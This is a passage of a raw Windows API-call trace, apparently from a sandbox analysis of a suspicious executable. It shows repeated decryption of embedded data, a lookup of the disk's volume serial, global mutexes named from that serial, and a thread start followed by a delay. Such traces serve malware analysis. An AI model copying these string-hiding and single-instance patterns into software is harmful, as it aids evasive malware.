(dwErrCode=0x0) [0141.619] GetLastError () returned 0x0 [0141.619] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.620] SetLastError (dwErrCode=0x0) [0141.620] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.621] SetLastError (dwErrCode=0x0) [0141.621] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.622] GetLastError () returned 0x0 [0141.622] SetLastError (dwErrCode=0x0) [0141.623] GetLastError () returned 0x0 [0141.623] SetLastError (dwErrCode=0x0) [0141.623] GetLastError () returned 0x0 [0141.623] SetLastError (dwErrCode=0x0) [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x98) returned 0x23a17c8 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1f) returned 0x23a1868 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x28) returned 0x23a1890 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x37) returned 0x23a18c0 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x3c) returned 0x23a1900 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x31) returned 0x23a1948 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x14) returned 0x23a1988 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x24) returned 0x23a19a8 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0xd) returned 0x23a19d8 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x17) returned 0x23a19f0 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x2b) returned 0x23a1a10 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x15) returned 0x23a1a48 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x17) returned 0x23a1a68 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x22) returned 0x23a1a88 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0xe) returned 0x23a1ab8 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0xc2) returned 0x23a1ad0 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x3e) returned 0x23a1ba0 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1b) returned 0x23a1be8 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1d) returned 0x23a1c10 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x48) returned 0x23a1c38 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x12) returned 0x23a1c88 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x18) returned 0x23a1ca8 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1b) returned 0x23a1cc8 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x24) returned 0x23a1cf0 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x29) returned 0x23a1d20 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a1d58 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x6b) returned 0x23a1d80 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x17) returned 0x23a1df8 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x14) returned 0x23a1e18 [0141.623] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0xf) returned 0x23a1e38 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x16) returned 0x23a1e50 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x28) returned 0x23a1e70 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x27) returned 0x23a1ea0 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x12) returned 0x23a1ed0 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x21) returned 0x23a1ef0 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x10) returned 0x23a1f20 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1c) returned 0x23a1f38 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x12) returned 0x23a1f60 [0141.624] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a0fd0 | out: hHeap=0x23a0000) returned 1 [0141.624] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0141.624] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x80) returned 0x23a0fd0 [0141.624] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc48136) returned 0x0 [0141.625] RtlSizeHeap (HeapHandle=0x23a0000, Flags=0x0, MemoryPointer=0x23a0fd0) returned 0x80 [0141.625] GetLastError () returned 0x0 [0141.625] SetLastError (dwErrCode=0x0) [0141.625] GetLastError () returned 0x0 [0141.625] SetLastError (dwErrCode=0x0) [0141.625] GetLastError () returned 0x0 [0141.625] SetLastError (dwErrCode=0x0) [0141.625] GetLastError () returned 0x0 [0141.625] SetLastError (dwErrCode=0x0) [0141.625] GetLastError () returned 0x0 [0141.625] SetLastError (dwErrCode=0x0) [0141.625] GetLastError () returned 0x0 [0141.625] SetLastError (dwErrCode=0x0) [0141.625] GetLastError () returned 0x0 [0141.625] SetLastError (dwErrCode=0x0) [0141.625] GetLastError () returned 0x0 [0141.625] SetLastError (dwErrCode=0x0) [0141.625] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.626] GetLastError () returned 0x0 [0141.626] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.627] GetLastError () returned 0x0 [0141.627] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.628] SetLastError (dwErrCode=0x0) [0141.628] GetLastError () returned 0x0 [0141.629] SetLastError (dwErrCode=0x0) [0141.629] GetLastError () returned 0x0 [0141.629] SetLastError (dwErrCode=0x0) [0141.629] GetLastError () returned 0x0 [0141.629] SetLastError (dwErrCode=0x0) [0141.629] GetLastError () returned 0x0 [0141.629] SetLastError (dwErrCode=0x0) [0141.629] GetLastError () returned 0x0 [0141.629] SetLastError (dwErrCode=0x0) [0141.629] GetLastError () returned 0x0 [0141.629] SetLastError (dwErrCode=0x0) [0141.629] GetLastError () returned 0x0 [0141.629] SetLastError (dwErrCode=0x0) [0141.629] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x30) returned 0x23a1f80 [0141.629] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x2cc0) returned 0x23a1fb8 [0141.629] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x15c) returned 0x23a4c80 [0141.630] GetTickCount () returned 0x10886 [0141.630] GetLastError () returned 0x0 [0141.630] SetLastError (dwErrCode=0x0) [0141.630] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x55fe18, cchData=32 | out: lpLCData="\x03") returned 16 [0141.630] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1c) returned 0x23a4de8 [0141.630] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1c) returned 0x23a4e10 [0141.630] GetVersion () returned 0x23f00206 [0141.630] GetCurrentProcess () returned 0xffffffff [0141.630] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x55fd7c | out: TokenHandle=0x55fd7c*=0x1ec) returned 1 [0141.631] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0x55fd74, TokenInformationLength=0x4, ReturnLength=0x55fd78 | out: TokenInformation=0x55fd74, ReturnLength=0x55fd78) returned 1 [0141.631] CloseHandle (hObject=0x1ec) returned 1 [0141.631] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e38 [0141.631] CryptAcquireContextW (in: phProv=0xc4fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xc4fcf0*=0x8067b0) returned 1 [0141.734] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcd8 | out: phKey=0x55fcd8*=0x819430) returned 1 [0141.754] CryptSetKeyParam (hKey=0x819430, dwParam=0x1, pbData=0x55fcc0, dwFlags=0x0) returned 1 [0141.754] CryptDecrypt (in: hKey=0x819430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0x55fc8c | out: pbData=0x23a4e38, pdwDataLen=0x55fc8c) returned 1 [0141.755] CryptDestroyKey (hKey=0x819430) returned 1 [0141.755] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e60 [0141.755] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4e88 [0141.755] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4eb0 [0141.755] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcb0 | out: phKey=0x55fcb0*=0x819430) returned 1 [0141.755] CryptSetKeyParam (hKey=0x819430, dwParam=0x1, pbData=0x55fc98, dwFlags=0x0) returned 1 [0141.755] CryptDecrypt (in: hKey=0x819430, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4eb0, pdwDataLen=0x55fc64 | out: pbData=0x23a4eb0, pdwDataLen=0x55fc64) returned 1 [0141.755] CryptDestroyKey (hKey=0x819430) returned 1 [0141.755] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb0 | out: hHeap=0x23a0000) returned 1 [0141.755] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0141.755] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e88 | out: hHeap=0x23a0000) returned 1 [0141.755] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 [0141.758] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x55fd18, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x55fd18*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.759] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e60 | out: hHeap=0x23a0000) returned 1 [0141.759] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e38 [0141.759] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd0c | out: phKey=0x55fd0c*=0x818ef0) returned 1 [0141.759] CryptSetKeyParam (hKey=0x818ef0, dwParam=0x1, pbData=0x55fcf4, dwFlags=0x0) returned 1 [0141.759] CryptDecrypt (in: hKey=0x818ef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0x55fcc0 | out: pbData=0x23a4e38, pdwDataLen=0x55fcc0) returned 1 [0141.759] CryptDestroyKey (hKey=0x818ef0) returned 1 [0141.759] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e80 [0141.759] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0141.759] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0 [0141.759] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0141.759] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 [0141.759] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e80 | out: hHeap=0x23a0000) returned 1 [0141.759] ReleaseMutex (hMutex=0x1f0) returned 1 [0141.759] CloseHandle (hObject=0x1f0) returned 1 [0141.759] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e38 [0141.759] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcec | out: phKey=0x55fcec*=0x819530) returned 1 [0141.759] CryptSetKeyParam (hKey=0x819530, dwParam=0x1, pbData=0x55fcd4, dwFlags=0x0) returned 1 [0141.759] CryptDecrypt (in: hKey=0x819530, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0x55fca0 | out: pbData=0x23a4e38, pdwDataLen=0x55fca0) returned 1 [0141.759] CryptDestroyKey (hKey=0x819530) returned 1 [0141.760] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e60 [0141.760] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4e88 [0141.760] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4eb0 [0141.760] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcc4 | out: phKey=0x55fcc4*=0x818ef0) returned 1 [0141.760] CryptSetKeyParam (hKey=0x818ef0, dwParam=0x1, pbData=0x55fcac, dwFlags=0x0) returned 1 [0141.760] CryptDecrypt (in: hKey=0x818ef0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4eb0, pdwDataLen=0x55fc78 | out: pbData=0x23a4eb0, pdwDataLen=0x55fc78) returned 1 [0141.760] CryptDestroyKey (hKey=0x818ef0) returned 1 [0141.760] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4eb0 | out: hHeap=0x23a0000) returned 1 [0141.760] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e60, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0141.760] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e88 | out: hHeap=0x23a0000) returned 1 [0141.760] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 [0141.760] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x55fd2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x55fd2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0141.761] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e60 | out: hHeap=0x23a0000) returned 1 [0141.761] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e38 [0141.761] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fcb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd20 | out: phKey=0x55fd20*=0x818f70) returned 1 [0141.761] CryptSetKeyParam (hKey=0x818f70, dwParam=0x1, pbData=0x55fd08, dwFlags=0x0) returned 1 [0141.761] CryptDecrypt (in: hKey=0x818f70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e38, pdwDataLen=0x55fcd4 | out: pbData=0x23a4e38, pdwDataLen=0x55fcd4) returned 1 [0141.761] CryptDestroyKey (hKey=0x818f70) returned 1 [0141.761] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e80 [0141.761] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0 [0141.761] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x1f0 [0141.761] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0141.761] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e38 | out: hHeap=0x23a0000) returned 1 [0141.761] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e80 | out: hHeap=0x23a0000) returned 1 [0141.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc41f5f, lpParameter=0x55fdbc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0141.762] Sleep (dwMilliseconds=0x1388) [0146.772] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4e50 [0146.772] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc70, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcd8 | out: phKey=0x55fcd8*=0x836c60) returned 1 [0146.772] CryptSetKeyParam (hKey=0x836c60, dwParam=0x1, pbData=0x55fcc0, dwFlags=0x0) returned 1 [0146.772] CryptDecrypt (in: hKey=0x836c60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0x55fc8c | out: pbData=0x23a4e50, pdwDataLen=0x55fc8c) returned 1 [0146.772] CryptDestroyKey (hKey=0x836c60) returned 1 [0146.772] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4e78 [0146.773] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4ea0 [0146.773] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4ec8 [0146.773] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc48, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fcb0 | out: phKey=0x55fcb0*=0x8368e0) returned 1 [0146.773] CryptSetKeyParam (hKey=0x8368e0, dwParam=0x1, pbData=0x55fc98, dwFlags=0x0) returned 1 [0146.773] CryptDecrypt (in: hKey=0x8368e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4ec8, pdwDataLen=0x55fc64 | out: pbData=0x23a4ec8, pdwDataLen=0x55fc64) returned 1 [0146.773] CryptDestroyKey (hKey=0x8368e0) returned 1 [0146.773] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ec8 | out: hHeap=0x23a0000) returned 1 [0146.773] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x23a4e78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0146.773] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4ea0 | out: hHeap=0x23a0000) returned 1 [0146.773] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0146.773] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x55fd18, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x55fd18*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.773] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e78 | out: hHeap=0x23a0000) returned 1 [0146.773] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a4e50 [0146.773] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fca4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd0c | out: phKey=0x55fd0c*=0x8368a0) returned 1 [0146.773] CryptSetKeyParam (hKey=0x8368a0, dwParam=0x1, pbData=0x55fcf4, dwFlags=0x0) returned 1 [0146.773] CryptDecrypt (in: hKey=0x8368a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0x55fcc0 | out: pbData=0x23a4e50, pdwDataLen=0x55fcc0) returned 1 [0146.773] CryptDestroyKey (hKey=0x8368a0) returned 1 [0146.773] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x34) returned 0x23a4e98 [0146.773] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0146.774] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x490 [0146.774] WaitForSingleObject (hHandle=0x490, dwMilliseconds=0x0) returned 0x0 [0146.774] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e50 | out: hHeap=0x23a0000) returned 1 [0146.774] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a4e98 | out: hHeap=0x23a0000) returned 1 [0146.774] ReleaseMutex (hMutex=0x490) returned 1 [0146.774] CloseHandle (hObject=0x490) returned 1 [0146.774] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x60) returned 0x23a4e50 [0146.774] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fcc8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd30 | out: phKey=0x55fd30*=0x8367e0) returned 1 [0146.774] CryptSetKeyParam (hKey=0x8367e0, dwParam=0x1, pbData=0x55fd18, dwFlags=0x0) returned 1 [0146.774] CryptDecrypt (in: hKey=0x8367e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4e50, pdwDataLen=0x55fce4 | out: pbData=0x23a4e50, pdwDataLen=0x55fce4) returned 1 [0146.774] CryptDestroyKey (hKey=0x8367e0) returned 1 [0146.774] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x20) returned 0x23a4eb8 [0146.774] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fca0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fd08 | out: phKey=0x55fd08*=0x8366e0) returned 1 [0146.774] CryptSetKeyParam (hKey=0x8366e0, dwParam=0x1, pbData=0x55fcf0, dwFlags=0x0) returned 1 [0146.774] CryptDecrypt (in: hKey=0x8366e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4eb8, pdwDataLen=0x55fcbc | out: pbData=0x23a4eb8, pdwDataLen=0x55fcbc) returned 1 [0146.774] CryptDestroyKey (hKey=0x8366e0) returned 1 [0146.774] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x1e) returned 0x23a4ee0 [0146.774] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x1e) returned 0x23a4f08 [0146.774] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x90) returned 0x23a4f30 [0146.774] CryptImportKey (in: hProv=0x8067b0, pbData=0x55fc78, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x55fce0 | out: phKey=0x55fce0*=0x836ba0) returned 1 [0146.774] CryptSetKeyParam (hKey=0x836ba0, dwParam=0x1, pbData=0x55fcc8, dwFlags=0x0) returned 1 [0146.774] CryptDecrypt (in: hKey=0x836ba0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a4f30, pdwDataLen=0x55fc94 | out: pbData=0x23a4f30, pdwDataLen=0x55fc94) returned 1 [0146.774] CryptDestroyKey (hKey=0x836ba0) returned 1 [0146.774] HeapFree (in: hHeap=0x23a0000, 